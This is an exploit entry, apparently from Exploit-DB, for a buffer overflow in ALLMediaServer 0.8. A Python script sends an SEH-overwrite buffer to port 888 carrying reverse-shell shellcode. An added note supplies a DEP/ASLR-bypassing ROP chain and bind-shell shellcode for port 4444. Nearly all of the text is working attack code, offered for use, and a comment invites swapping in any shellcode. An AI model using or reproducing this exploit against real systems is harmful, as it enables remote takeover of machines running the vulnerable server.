ALLMediaServer 0.8 - Remote Overflow (SEH)

# Exploit Title: seh exploit, BOF 
# Date: 04/07/2012
# Exploit Author: motaz reda 
# my E-mail:  motazkhodair@gmail.com
# Software Link: http://allmediaserver.org/
# Version: ALLMediaServer 0.8
# Tested On: Windows 7 ultimate
################################################

#!/usr/bin/python

import sys, socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((sys.argv[1], 888))

buffer = "A" * 1072

buffer += "\xeb\x06\x90\x90"   #NSEH  jmp short 6

buffer += "\xca\x24\xec\x65"   # SEH  POP POP RETN

# msfpayload windows/shell_reverse_tcp 
# you can replace the shellcode with any shellcode u want

buffer += ("\xd9\xc8\xd9\x74\x24\xf4\xb8\xa6\xaa\xb6\xad\x5b\x2b\xc9\xb1"
"\x4f\x83\xeb\xfc\x31\x43\x15\x03\x43\x15\x44\x5f\x4a\x45\x01"
"\xa0\xb3\x96\x71\x28\x56\xa7\xa3\x4e\x12\x9a\x73\x04\x76\x17"
"\xf8\x48\x63\xac\x8c\x44\x84\x05\x3a\xb3\xab\x96\x8b\x7b\x67"
"\x54\x8a\x07\x7a\x89\x6c\x39\xb5\xdc\x6d\x7e\xa8\x2f\x3f\xd7"
"\xa6\x82\xaf\x5c\xfa\x1e\xce\xb2\x70\x1e\xa8\xb7\x47\xeb\x02"
"\xb9\x97\x44\x19\xf1\x0f\xee\x45\x22\x31\x23\x96\x1e\x78\x48"
"\x6c\xd4\x7b\x98\xbd\x15\x4a\xe4\x11\x28\x62\xe9\x68\x6c\x45"
"\x12\x1f\x86\xb5\xaf\x27\x5d\xc7\x6b\xa2\x40\x6f\xff\x14\xa1"
"\x91\x2c\xc2\x22\x9d\x99\x81\x6d\x82\x1c\x46\x06\xbe\x95\x69"
"\xc9\x36\xed\x4d\xcd\x13\xb5\xec\x54\xfe\x18\x11\x86\xa6\xc5"
"\xb7\xcc\x45\x11\xc1\x8e\x01\xd6\xff\x30\xd2\x70\x88\x43\xe0"
"\xdf\x22\xcc\x48\x97\xec\x0b\xae\x82\x48\x83\x51\x2d\xa8\x8d"
"\x95\x79\xf8\xa5\x3c\x02\x93\x35\xc0\xd7\x33\x66\x6e\x88\xf3"
"\xd6\xce\x78\x9b\x3c\xc1\xa7\xbb\x3e\x0b\xde\xfc\xa9\x74\x49"
"\x03\x3e\x1d\x88\x03\x2f\x81\x05\xe5\x25\x29\x40\xbe\xd1\xd0"
"\xc9\x34\x43\x1c\xc4\xdc\xe0\x8f\x83\x1c\x6e\xac\x1b\x4b\x27"
"\x02\x52\x19\xd5\x3d\xcc\x3f\x24\xdb\x37\xfb\xf3\x18\xb9\x02"
"\x71\x24\x9d\x14\x4f\xa5\x99\x40\x1f\xf0\x77\x3e\xd9\xaa\x39"
"\xe8\xb3\x01\x90\x7c\x45\x6a\x23\xfa\x4a\xa7\xd5\xe2\xfb\x1e"
"\xa0\x1d\x33\xf7\x24\x66\x29\x67\xca\xbd\xe9\x97\x81\x9f\x58"
"\x30\x4c\x4a\xd9\x5d\x6f\xa1\x1e\x58\xec\x43\xdf\x9f\xec\x26"
"\xda\xe4\xaa\xdb\x96\x75\x5f\xdb\x05\x75\x4a")

s.send(buffer)

s.close()

### Exploit-DB note:
### This affects AllMediaSErver 0.94 as well.

# Exploit-DB Note:
# Here's a ROP chain that will work on Windows 7 Pro Eng DEP AlwaysOn
# DEP/ASLR bypass with bind shell on port 4444
buffer = "\x41" * 984
buffer+= "\xe6\x30\x46\x00"	# Second ADD esp for stack adjustment
				# add esp,90 | pop esi | pop ebx | retn ~ MediaServer.exe
buffer+= "\x41" * 88
# Step over SEH
stackAdjust = "\x9e\x6c\x42\x00"	# add esp,800 | pop ebx | retn ~ MediaServer.exe
					# Returns to Second ADD ESP
stackAdjust+= "\x42\x42\x42\x42" * 15	# Padding

# VirtualProtect into ESI
rop = "\x26\xfa\xf6\x65"	# pop eax | retn	 		~ avcodec-53.dll
rop+= "\xe0\xe4\x1e\x67"	# &kernel32.VirtualProtect		~
rop+= "\x54\xcd\xc6\x6a"	# mov eax,dword ptr ds:[eax] | retn	~
rop+= "\x04\xef\x2e\x66"	# xchg eax,esi | retn			~ avcodec-53.dll
				# Puts Kernel31.VirtualProtect
# lpAddress param into EBP
rop+= "\xb3\x14\xb8\x68"        # pop ebp | retn                       	~
rop+= "\x07\x5d\x0c\x66"	# ROP jmp esp | ???			~ avcodec-53.dll

# dwSize into EBX
rop+= "\x26\xfa\xf6\x65"        # pop eax | retn                        ~ avcodec-53.dll
rop+= "\xff\xfd\xff\xff"	# Will negate to 0x201
rop+= "\xbe\x13\x6e\x66"        # neg eax | retn
rop+= "\x2b\xe2\xf4\x65"	# xchg eax,ebx | retn			~ avcodec-53.dll

# flNewProtect 0x40 into EDX
rop+= "\x26\xfa\xf6\x65"        # pop eax | retn                       	~ avcodec-53.dll
rop+= "\xc0\xff\xff\xff"	# Will negate to 0x40
rop+= "\xbe\x13\x6e\x66"        # neg eax | retn                        ~ avcodec-53.dll
rop+= "\x46\x08\x53\x66"	# xchg eax,edx | retn			~ avcoded-53.dll

# lpflOldProtect into ECX
rop+= "\x26\xfa\xf6\x65"        # pop eax | retn                       	~ avcodec-53.dll
rop+= "\x69\xef\x5f\x00"	# writeable address			~ avformat-53.dll
rop+= "\xeb\x9b\x74\x66"	# xchg eax,ecx | retn			~ avcodec-53.dll

# RETN into EDI
rop+= "\x84\xe6\x75\x66"	# pop edi | retn
rop+= "\x6d\x9b\xb2\x6a"	# retn ROP

# Nops in EAX
rop+= "\x26\xfa\xf6\x65"        # pop eax | retn                       	~ avcodec-53.dll
rop+= "\x90\x90\x90\x90"

# PushAD
rop+= "\x3a\x18\x75\x66"	# pushad | rent				~ avodec-53.dll

rop+= "\x90\x90\x90\x90"


shellcode =(
"\xba\x4b\xdb\xfb\xca\xdb\xc2\xd9\x74\x24\xf4\x5d\x2b\xc9"
"\xb1\x56\x31\x55\x13\x03\x55\x13\x83\xed\xb7\x39\x0e\x36"
"\xaf\x37\xf1\xc7\x2f\x28\x7b\x22\x1e\x7a\x1f\x26\x32\x4a"
"\x6b\x6a\xbe\x21\x39\x9f\x35\x47\x96\x90\xfe\xe2\xc0\x9f"
"\xff\xc2\xcc\x4c\xc3\x45\xb1\x8e\x17\xa6\x88\x40\x6a\xa7"
"\xcd\xbd\x84\xf5\x86\xca\x36\xea\xa3\x8f\x8a\x0b\x64\x84"
"\xb2\x73\x01\x5b\x46\xce\x08\x8c\xf6\x45\x42\x34\x7d\x01"
"\x73\x45\x52\x51\x4f\x0c\xdf\xa2\x3b\x8f\x09\xfb\xc4\xa1"
"\x75\x50\xfb\x0d\x78\xa8\x3b\xa9\x62\xdf\x37\xc9\x1f\xd8"
"\x83\xb3\xfb\x6d\x16\x13\x88\xd6\xf2\xa5\x5d\x80\x71\xa9"
"\x2a\xc6\xde\xae\xad\x0b\x55\xca\x26\xaa\xba\x5a\x7c\x89"
"\x1e\x06\x27\xb0\x07\xe2\x86\xcd\x58\x4a\x77\x68\x12\x79"
"\x6c\x0a\x79\x16\x41\x21\x82\xe6\xcd\x32\xf1\xd4\x52\xe9"
"\x9d\x54\x1b\x37\x59\x9a\x36\x8f\xf5\x65\xb8\xf0\xdc\xa1"
"\xec\xa0\x76\x03\x8c\x2a\x87\xac\x59\xfc\xd7\x02\x31\xbd"
"\x87\xe2\xe1\x55\xc2\xec\xde\x46\xed\x26\x69\x41\x23\x12"
"\x3a\x26\x46\xa4\xad\xea\xcf\x42\xa7\x02\x86\xdd\x5f\xe1"
"\xfd\xd5\xf8\x1a\xd4\x49\x51\x8d\x60\x84\x65\xb2\x70\x82"
"\xc6\x1f\xd8\x45\x9c\x73\xdd\x74\xa3\x59\x75\xfe\x9c\x0a"
"\x0f\x6e\x6f\xaa\x10\xbb\x07\x4f\x82\x20\xd7\x06\xbf\xfe"
"\x80\x4f\x71\xf7\x44\x62\x28\xa1\x7a\x7f\xac\x8a\x3e\xa4"
"\x0d\x14\xbf\x29\x29\x32\xaf\xf7\xb2\x7e\x9b\xa7\xe4\x28"
"\x75\x0e\x5f\x9b\x2f\xd8\x0c\x75\xa7\x9d\x7e\x46\xb1\xa1"
"\xaa\x30\x5d\x13\x03\x05\x62\x9c\xc3\x81\x1b\xc0\x73\x6d"
"\xf6\x40\x83\x24\x5a\xe0\x0c\xe1\x0f\xb0\x50\x12\xfa\xf7"
"\x6c\x91\x0e\x88\x8a\x89\x7b\x8d\xd7\x0d\x90\xff\x48\xf8"
"\x96\xac\x69\x29")

payload = buffer + stackAdjust + rop + shellcode
rest = 1765 - len(payload)
exploit = payload + "\xCC" * rest
# Send exploit to target's port 888